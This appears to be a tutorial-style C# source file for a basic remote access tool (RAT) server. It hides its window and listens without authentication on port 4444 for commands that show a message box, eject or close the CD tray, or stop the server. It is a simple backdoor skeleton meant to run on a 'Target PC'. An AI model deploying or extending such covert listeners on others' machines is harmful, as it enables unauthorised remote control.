form1.cs

It is a server.................. made in C sharp..........................

//
// Simple Remote Access Tool (RAT) in C# by Paul Chin
// as at Aug 8, 2007
//
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Net.Sockets;
using System.IO;
using System.Threading;
using System.Runtime.InteropServices;  //for calling Win32 API to eject and close CD
using System.Net; //for IPAddress

//Run this Server on the Target PC and connect using Putty, Netcat or Telnet
namespace RatServer
{
    public partial class Form1 : Form
    {


        #region Variable Declarations
        //Commands from Client:

        const string HELP     = "0",
                     MESSAGE  = "1",
                     EJECTCD  = "2",
                     CLOSECD  = "3",
                     SHUTDOWN = "9";  //Shutdown the Server process and port, not the PC

        const string strHelp =   "Command Menu:\r\n" +
                                 "0 This Help\r\n" +
                                 "1 Message\r\n" +
                                 "2 Eject CD Tray\r\n" +
                                 "3 Close CD Tray\r\n" +
                                 "9 Shutdown the Server Process and Port\r\n";

        TcpListener     tcpListener;

        //Use a separate thread for each command so that the
        //server commands can run concurrently instead of blocking
        Thread          th_message,
                        th_ejectcd,
                        th_closecd;


        Socket          socketForClient; 
        NetworkStream   networkStream; 
        StreamReader    streamReader;
        StreamWriter    streamWriter;

        #endregion

        public Form1()
        {
            InitializeComponent();
        }

        private void Form1_Shown(object sender, EventArgs e)
        {
            this.Hide();
            tcpListener = new TcpListener(System.Net.IPAddress.Any, 4444);
            tcpListener.Start();
            for(;;) RunServer(); //perpetually spawn socket until
                                 //SHUTDOWN command is received
        }

        private void RunServer()
        {
            socketForClient = tcpListener.AcceptSocket();
            networkStream = new NetworkStream(socketForClient);
            streamReader = new StreamReader(networkStream);
            streamWriter = new StreamWriter(networkStream);

            //try...catch is used so that if client suddenly disconnects
            //it will throw an exception which is caught by the catch{} block.
            //In the catch{} block, the CleanUp() method closes all sockets
            //so that they can be re-used. 
            //At this point, control returns to private void Form1_Shown() method
            //where the for(;;) perpetual loop will call RunServer() again.
            //To shutdown the server, the client sends the SHUTDOWN command coded
            //as "9".
            //Alternatively, the user can CTRL-ALT-DEL to use the Task Manager
            //to kill it.
            try
            {
                string line;

                //Command loop, LastIndexOf is to search within the Network Stream
                //for any command strings sent by the Client
                while (true)
                {

                    line = "";
                    line = streamReader.ReadLine();
                    if (line.LastIndexOf(HELP) >= 0)
                    {
                        streamWriter.Write(strHelp);
                        streamWriter.Flush();
                    }
                    if (line.LastIndexOf(MESSAGE) >= 0)
                    {
                        th_message = new Thread(new ThreadStart(MessageCommand));
                        th_message.Start();
                    }
                    if (line.LastIndexOf(EJECTCD) >= 0)
                    {
                        th_ejectcd = new Thread(new ThreadStart(EjectCD));
                        th_ejectcd.Start();
                    }
                    if (line.LastIndexOf(CLOSECD) >= 0)
                    {
                        th_closecd = new Thread(new ThreadStart(CloseCD));
                        th_closecd.Start();
                    }
                    if (line.LastIndexOf(SHUTDOWN) >= 0)
                    {
                        streamWriter.Flush();
                        CleanUp();
                        System.Environment.Exit(System.Environment.ExitCode);
                    }
                }

            }
            catch (Exception err) //if Client suddenly disconnects
            {
                CleanUp();
            }

        }

        private void CleanUp()
        {
            streamReader.Close();
            networkStream.Close();
            socketForClient.Close();
       
        }

        private void MessageCommand()
        {
            MessageBox.Show("Hello World","Greetings",MessageBoxButtons.OK);
        }

        //This is necessary to enable Win32 API calls to eject or close the CD tray
        [DllImport("winmm.dll", EntryPoint = "mciSendStringA")]
        public static extern void mciSendStringA(string lpstrCommand, string lpstrReturnString, Int32 uReturnLength, Int32 hwndCallback);
        string rt = "";

        private void EjectCD()
        {
            mciSendStringA("set CDAudio door open", rt, 127, 0); 
        }

        private void CloseCD()
        {
            mciSendStringA("set CDAudio door closed", rt, 127, 0);
        }

    }
}